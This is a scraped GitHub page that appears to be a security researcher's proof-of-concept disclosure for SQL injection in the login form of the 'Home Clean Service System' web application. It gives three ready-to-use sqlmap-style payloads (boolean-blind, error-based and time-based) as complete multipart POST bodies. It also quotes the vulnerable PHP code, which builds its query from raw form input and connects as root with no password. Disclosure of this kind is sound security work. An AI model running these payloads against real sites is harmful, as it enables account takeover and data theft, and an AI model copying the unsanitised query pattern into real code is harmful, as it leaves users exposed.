Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE-nu11secur1ty/vendors/acetech/2022/Home-Clean-Service-System/
CVE-nu11secur1ty/vendors/acetech/2022/Home-Clean-Service-System/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
PoC
 
 
 
 

Home Clean Service System

Vendor

Description:

The password parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the password parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

---
Parameter: MULTIPART email ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: ------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="email"

uufQHiPr@namaikatiputkata.net' OR NOT 6564=6564-- aWQp
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="password"

t8I!x2y!H3'
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="login"


------WebKitFormBoundary8kMPLwTOJeesgEBx--

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: ------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="email"

uufQHiPr@namaikatiputkata.net' AND (SELECT 6279 FROM(SELECT COUNT(*),CONCAT(0x7176716271,(SELECT (ELT(6279=6279,1))),0x716a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- LSfT
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="password"

t8I!x2y!H3'
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="login"


------WebKitFormBoundary8kMPLwTOJeesgEBx--

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="email"

uufQHiPr@namaikatiputkata.net' AND (SELECT 4830 FROM (SELECT(SLEEP(5)))kgBM)-- GxTm
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="password"

t8I!x2y!H3'
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="login"


------WebKitFormBoundary8kMPLwTOJeesgEBx--
---

Vulnerable code:

<?php
	session_start();
	$username = $_POST['username'];
	$password = $_POST['password'];
	if(ISSET($_POST['login'])){
		$conn = new mysqli("localhost","root","","activity") or die(mysqli_error());
		$query = $conn->query("SELECT *FROM `admin` WHERE `username` = '$username' && `password` = '$password'") or die(mysqli_error());
		$fetch = $query->fetch_array();
		$valid = $query->num_rows;
			if($valid > 0){
				$_SESSION['admin_id'] = $fetch['admin_id'];
				header("location:./dashboard.php");
			}else{
				echo "<script>alert('Invalid username or password')</script>";
				echo "<script>window.location = 'index.php'</script>";
			}
		$conn->close();
	}	

Reproduce:

href

More info:

href